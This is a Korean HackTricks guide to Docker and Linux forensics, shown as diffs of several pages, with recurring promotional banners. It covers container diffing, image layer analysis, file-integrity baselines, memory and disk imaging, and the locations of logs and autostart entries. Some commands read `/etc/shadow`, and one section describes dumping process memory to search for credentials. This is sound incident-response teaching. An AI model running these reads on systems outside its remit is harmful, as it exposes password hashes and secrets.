cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
이 컨테이너에 대한 이미지와 관련하여 수행된 수정 사항을 쉽게 찾을 수 있습니다. 다음과 같이 하면 됩니다:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
C /var/lib
|
||||
C /var/lib/mysql
|
||||
A /var/lib/mysql/ib_logfile0
|
||||
A /var/lib/mysql/ib_logfile1
|
||||
A /var/lib/mysql/ibdata1
|
||||
A /var/lib/mysql/mysql
|
||||
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
이전 명령어에서 **C**는 **변경됨(Changed)**을 의미하고, **A**는 **추가됨(Added)**을 의미합니다.\
|
||||
만약 `/etc/shadow`와 같은 흥미로운 파일이 수정되었다고 판단된다면, 악성 활동을 확인하기 위해 해당 컨테이너에서 다운로드할 수 있습니다:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
새 컨테이너를 실행하고 파일을 추출하여 원본과 비교할 수도 있습니다:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
만약 **의심스러운 파일이 추가**되었다는 것을 발견한다면, 컨테이너에 접근하여 확인할 수 있습니다:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## 이미지 수정
|
||||
|
||||
당신에게 내보낸 도커 이미지 (아마도 `.tar` 형식일 것입니다)가 주어지면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 내용 요약을 추출**할 수 있습니다:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
그런 다음 이미지를 **압축 해제**하고 **블롭에 액세스**하여 변경 내역에서 발견한 수상한 파일을 검색할 수 있습니다:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### 기본 분석
|
||||
|
||||
이미지를 실행하여 **기본 정보**를 얻을 수 있습니다:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
다음과 같이 **변경 내역의 요약**을 얻을 수도 있습니다:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
이미지에서 **도커파일을 생성**할 수도 있습니다. 다음과 같이 하면 됩니다:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
|
||||
도커 이미지에서 추가/수정된 파일을 찾기 위해 [**dive**](https://github.com/wagoodman/dive)도 사용할 수 있습니다. (다음 [**릴리스**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서 다운로드할 수 있습니다.) 유틸리티:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
Loaded image: flask:latest
|
||||
|
||||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
이를 통해 도커 이미지의 다른 덩어리를 탐색하고 수정/추가된 파일을 확인할 수 있습니다. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 뷰로 이동하고 **스페이스바**를 사용하여 폴더를 축소/확장할 수 있습니다.
|
||||
|
||||
die를 사용하면 이미지의 다른 단계의 내용에 액세스할 수 없습니다. 이를 위해 각 레이어를 압축 해제하고 액세스해야 합니다.\
|
||||
이미지가 압축 해제된 디렉토리에서 모든 레이어를 압축 해제할 수 있습니다. 다음을 실행하세요.
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## 메모리에서 자격 증명 얻기
|
||||
|
||||
참고로 호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다**. `ps -ef`를 실행하면 됩니다.
|
||||
|
||||
따라서 (루트 권한으로) 호스트에서 **프로세스의 메모리를 덤프**하고 [**다음 예시처럼**](../../linux-hardening/privilege-escalation/#process-memory) **자격 증명을 검색**할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 기준선
|
||||
|
||||
기준선은 시스템의 특정 부분의 스냅샷을 찍어 **변경 사항을 강조하기 위해 미래 상태와 비교**하는 것으로 구성됩니다.
|
||||
|
||||
예를 들어, 파일 시스템의 각 파일의 해시를 계산하고 저장하여 수정된 파일을 찾을 수 있습니다.\
|
||||
이는 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 변경되지 않아야 할 다른 모든 것에 대해서도 수행할 수 있습니다.
|
||||
|
||||
## 파일 무결성 모니터링
|
||||
|
||||
파일 무결성 모니터링(FIM)은 파일의 변경 사항을 추적하여 IT 환경과 데이터를 보호하는 중요한 보안 기술입니다. 다음과 같은 두 가지 주요 단계로 이루어집니다:
|
||||
|
||||
1. **기준선 비교:** 파일 속성이나 암호화 체크섬(MD5 또는 SHA-2와 같은)을 사용하여 기준선을 설정하여 변경 사항을 감지합니다.
|
||||
2. **실시간 변경 알림:** 일반적으로 OS 커널 확장을 통해 파일에 액세스하거나 변경될 때 즉시 알림을 받습니다.
|
||||
|
||||
## 도구
|
||||
|
||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,473 @@
|
|||
# 리눅스 포렌식
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 초기 정보 수집
|
||||
|
||||
### 기본 정보
|
||||
|
||||
먼저, **USB**에 **잘 알려진 이진 파일 및 라이브러리**가 있는 것이 좋습니다(우분투를 가져와 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사할 수 있습니다). 그런 다음 USB를 마운트하고, 환경 변수를 수정하여 해당 이진 파일을 사용하세요:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
한 번 시스템이 좋고 알려진 이진 파일을 사용하도록 구성되면 **기본 정보를 추출**할 수 있습니다:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||
ps -ef #Running processes
|
||||
netstat -anp #Proccess and ports
|
||||
lsof -V #Open files
|
||||
netstat -rn; route #Routing table
|
||||
df; mount #Free space and mounted devices
|
||||
free #Meam and swap space
|
||||
w #Who is connected
|
||||
last -Faiwx #Logins
|
||||
lsmod #What is loaded
|
||||
cat /etc/passwd #Unexpected data?
|
||||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### 수상한 정보
|
||||
|
||||
기본 정보를 얻을 때 다음과 같은 이상한 점을 확인해야 합니다:
|
||||
|
||||
- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심해야 합니다.
|
||||
- `/etc/passwd` 내부에 쉘 없이 등록된 사용자들의 **등록된 로그인**을 확인합니다.
|
||||
- `/etc/shadow` 내부에 있는 사용자들의 **비밀번호 해시**를 확인합니다.
|
||||
|
||||
### 메모리 덤프
|
||||
|
||||
실행 중인 시스템의 메모리를 얻기 위해서는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
|
||||
**컴파일**하려면 피해자 머신이 사용 중인 **동일한 커널**을 사용해야 합니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
피해자 머신에 **LiME나 다른 것을 설치할 수 없다는 것**을 기억하세요. 그렇게 하면 여러 가지 변경 사항이 발생합니다.
|
||||
{% endhint %}
|
||||
|
||||
따라서 Ubuntu의 동일한 버전이 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
|
||||
그렇지 않은 경우 [**LiME**](https://github.com/504ensicsLabs/LiME)을 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 정확한 커널 헤더를 **얻으려면** `/lib/modules/<커널 버전>` 디렉토리를 단순히 **복사**하여 자신의 머신에 컴파일하면 됩니다:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME는 3가지 **형식**을 지원합니다:
|
||||
|
||||
* Raw (모든 세그먼트가 연결된 상태)
|
||||
* Padded (Raw와 동일하지만 오른쪽 비트에는 제로가 들어 있음)
|
||||
* Lime (메타데이터가 포함된 권장 형식)
|
||||
|
||||
LiME를 사용하여 덤프를 시스템에 저장하는 대신 **네트워크를 통해 전송**할 수도 있습니다. 예를 들어 다음과 같이 사용할 수 있습니다: `path=tcp:4444`
|
||||
|
||||
### 디스크 이미징
|
||||
|
||||
#### 시스템 종료
|
||||
|
||||
먼저, **시스템을 종료**해야 합니다. 이것은 항상 옵션이 아닐 수 있습니다. 때로는 회사가 종료할 여유가 없는 프로덕션 서버일 수 있습니다.\
|
||||
시스템을 종료하는 **2가지 방법**이 있습니다. **정상 종료**와 **"전원 플러그를 뽑는" 종료**입니다. 첫 번째 방법은 **프로세스가 보통대로 종료**되고 **파일 시스템이 동기화**되지만, **악성 코드**가 **증거를 파괴**할 수도 있습니다. "전원 플러그를 뽑는" 방법은 **일부 정보 손실**을 야기할 수 있습니다 (메모리 이미지를 이미 촬영했기 때문에 정보가 많이 손실되지는 않을 것입니다) 그리고 **악성 코드가 이에 대해 아무것도 할 수 없을 것**입니다. 따라서 **악성 코드**가 있을 것으로 **의심**된다면 시스템에서 **`sync`** **명령어**를 실행하고 전원을 차단하세요.
|
||||
|
||||
#### 디스크 이미지 촬영
|
||||
|
||||
**컴퓨터를 사건과 관련된 어떤 것에 연결하기 전에**, 정보를 수정하지 않도록 **읽기 전용으로 마운트**되는지 확인해야 합니다.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
||||
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### 디스크 이미지 사전 분석
|
||||
|
||||
추가 데이터 없이 디스크 이미지를 이미징합니다.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||
|
||||
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||
Unmounted properly
|
||||
Last mounted on: /mnt/disk0
|
||||
|
||||
Source OS: Linux
|
||||
[...]
|
||||
|
||||
#ls inside the image
|
||||
fls -i raw -f ext4 disk.img
|
||||
d/d 11: lost+found
|
||||
d/d 12: Documents
|
||||
d/d 8193: folder1
|
||||
d/d 8194: folder2
|
||||
V/V 65537: $OrphanFiles
|
||||
|
||||
#ls inside folder
|
||||
fls -i raw -f ext4 disk.img 12
|
||||
r/r 16: secret.txt
|
||||
|
||||
#cat file inside image
|
||||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 알려진 악성 코드 검색
|
||||
|
||||
### 수정된 시스템 파일
|
||||
|
||||
Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 될 수 있는 파일을 식별하는 데 유용합니다.
|
||||
|
||||
* **RedHat 기반 시스템**: 포괄적인 확인을 위해 `rpm -Va`를 사용합니다.
|
||||
* **Debian 기반 시스템**: 초기 확인을 위해 `dpkg --verify`를 사용한 후 (`apt-get install debsums`로 `debsums`를 설치한 후) `debsums | grep -v "OK$"`를 사용하여 문제를 식별합니다.
|
||||
|
||||
### 악성 코드/루트킷 탐지기
|
||||
|
||||
악성 코드를 찾는 데 유용한 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 설치된 프로그램 검색
|
||||
|
||||
Debian 및 RedHat 시스템에서 효과적으로 설치된 프로그램을 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 확인을 고려하세요.
|
||||
|
||||
* Debian의 경우 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하여 패키지 설치에 대한 세부 정보를 가져오고, `grep`를 사용하여 특정 정보를 필터링합니다.
|
||||
* RedHat 사용자는 RPM 데이터베이스를 쿼리하여 `rpm -qa --root=/mntpath/var/lib/rpm`를 사용하여 설치된 패키지를 나열할 수 있습니다.
|
||||
|
||||
이 패키지 관리자 외에 수동으로 또는 이외에 설치된 소프트웨어를 찾으려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록을 시스템별 명령어와 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
cat /var/log/dpkg.log | grep installed
|
||||
# RedHat RPM database query
|
||||
rpm -qa --root=/mntpath/var/lib/rpm
|
||||
# Listing directories for manual installations
|
||||
ls /usr/sbin /usr/bin /bin /sbin
|
||||
# Identifying non-package executables (Debian)
|
||||
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||
# Identifying non-package executables (RedHat)
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 삭제된 실행 중인 이진 파일 복구
|
||||
|
||||
/tmp/exec에서 실행되고 삭제된 프로세스를 상상해보세요. 추출하는 것이 가능합니다.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## 자동 시작 위치 검사
|
||||
|
||||
### 예약된 작업
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
/var/spool/anacron \
|
||||
/etc/cron* \
|
||||
/etc/at* \
|
||||
/etc/anacrontab \
|
||||
/etc/incron.d/* \
|
||||
/var/spool/incron/* \
|
||||
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### 서비스
|
||||
|
||||
악성 소프트웨어가 서비스로 설치될 수 있는 경로:
|
||||
|
||||
- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 시작 스크립트로 이어짐.
|
||||
- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 이전 Linux 버전에서 발견됨.
|
||||
- **/etc/init.d/**: Debian과 같은 특정 Linux 버전에서 시작 스크립트를 저장하는 데 사용됨.
|
||||
- 서비스는 또한 Linux 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있음.
|
||||
- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 런레벨에서 시작해야 하는 서비스에 대한 링크를 포함.
|
||||
- **/usr/local/etc/rc.d/**: 사용자 지정 또는 제3자 서비스를 위한 디렉토리.
|
||||
- **\~/.config/autostart/**: 사용자별 자동 시작 응용 프로그램을 위한 곳으로, 사용자를 대상으로 한 악성 소프트웨어의 은신처가 될 수 있음.
|
||||
- **/lib/systemd/system/**: 설치된 패키지에 의해 제공되는 시스템 전역 기본 유닛 파일.
|
||||
|
||||
### 커널 모듈
|
||||
|
||||
악성 소프트웨어에 의해 루트킷 구성 요소로 자주 사용되는 Linux 커널 모듈은 시스템 부팅 시 로드됩니다. 이러한 모듈에 대한 중요한 디렉토리 및 파일은 다음과 같습니다:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보관.
|
||||
- **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함.
|
||||
- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일.
|
||||
|
||||
### 기타 자동 시작 위치
|
||||
|
||||
Linux는 사용자 로그인 시 자동으로 프로그램을 실행하기 위해 다양한 파일을 사용하며, 여기에는 악성 소프트웨어가 숨을 수 있는 장소가 있을 수 있습니다:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인에 대해 실행됨.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 해당 사용자 로그인 시 실행되는 사용자별 파일.
|
||||
- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환을 표시함.
|
||||
|
||||
## 로그 검사
|
||||
|
||||
Linux 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성 소프트웨어 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
|
||||
|
||||
- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지와 활동을 캡처.
|
||||
- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인을 기록.
|
||||
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링.
|
||||
- **/var/log/boot.log**: 시스템 시작 메시지를 포함.
|
||||
- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용.
|
||||
- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장.
|
||||
- **/var/log/dmesg**: 장치 드라이버 메시지를 보유.
|
||||
- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움.
|
||||
- **/var/log/cron**: cron 작업 실행을 로그.
|
||||
- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적.
|
||||
- **/var/log/btmp**: 실패한 로그인 시도 문서화.
|
||||
- **/var/log/httpd/**: Apache HTTPD 오류 및 액세스 로그를 포함.
|
||||
- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록.
|
||||
- **/var/log/xferlog**: FTP 파일 전송을 기록.
|
||||
- **/var/log/**: 여기서 예기치 않은 로그를 항상 확인.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux 시스템 로그 및 감사 서브시스템은 침입 또는 악성 소프트웨어 사건에서 비활성화되거나 삭제될 수 있습니다. Linux 시스템의 로그는 일반적으로 악의적 활동에 대한 가장 유용한 정보 중 일부를 포함하므로 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때 삭제 또는 조작의 흔적 또는 순서가 잘못된 항목을 찾는 것이 중요합니다.
|
||||
{% endhint %}
|
||||
|
||||
**Linux는 각 사용자의 명령 히스토리를 유지합니다**, 다음 위치에 저장됩니다:
|
||||
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
또한, `last -Faiwx` 명령을 사용하여 사용자 로그인 목록을 제공합니다. 알 수 없거나 예기치 않은 로그인을 확인하십시오.
|
||||
|
||||
추가 권한을 부여할 수 있는 파일을 확인하십시오:
|
||||
|
||||
- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers`를 검토하십시오.
|
||||
- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers.d/`를 검토하십시오.
|
||||
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/groups`를 검토하십시오.
|
||||
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/passwd`를 검토하십시오.
|
||||
|
||||
일부 애플리케이션은 자체 로그를 생성합니다:
|
||||
|
||||
- **SSH**: 무단 원격 연결을 나타내는 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검토하십시오.
|
||||
- **Gnome 데스크톱**: Gnome 애플리케이션을 통해 최근 액세스된 파일을 나타내는 _\~/.recently-used.xbel_을 확인하십시오.
|
||||
- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 히스토리 및 다운로드를 확인하십시오.
|
||||
- **VIM**: 액세스된 파일 경로 및 검색 기록과 같은 사용 정보를 나타내는 _\~/.viminfo_를 검토하십시오.
|
||||
- **Open Office**: 침해된 파일을 나타낼 수 있는 최근 문서 액세스를 확인하십시오.
|
||||
- **FTP/SFTP**: 무단 파일 전송을 나타내는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_ 로그를 검토하십시오.
|
||||
- **MySQL**: 무단 데이터베이스 활동을 나타낼 수 있는 _\~/.mysql\_history_를 조사하십시오.
|
||||
- **Less**: 보고된 파일 및 실행된 명령을 포함하는 _\~/.lesshst_를 분석하십시오.
|
||||
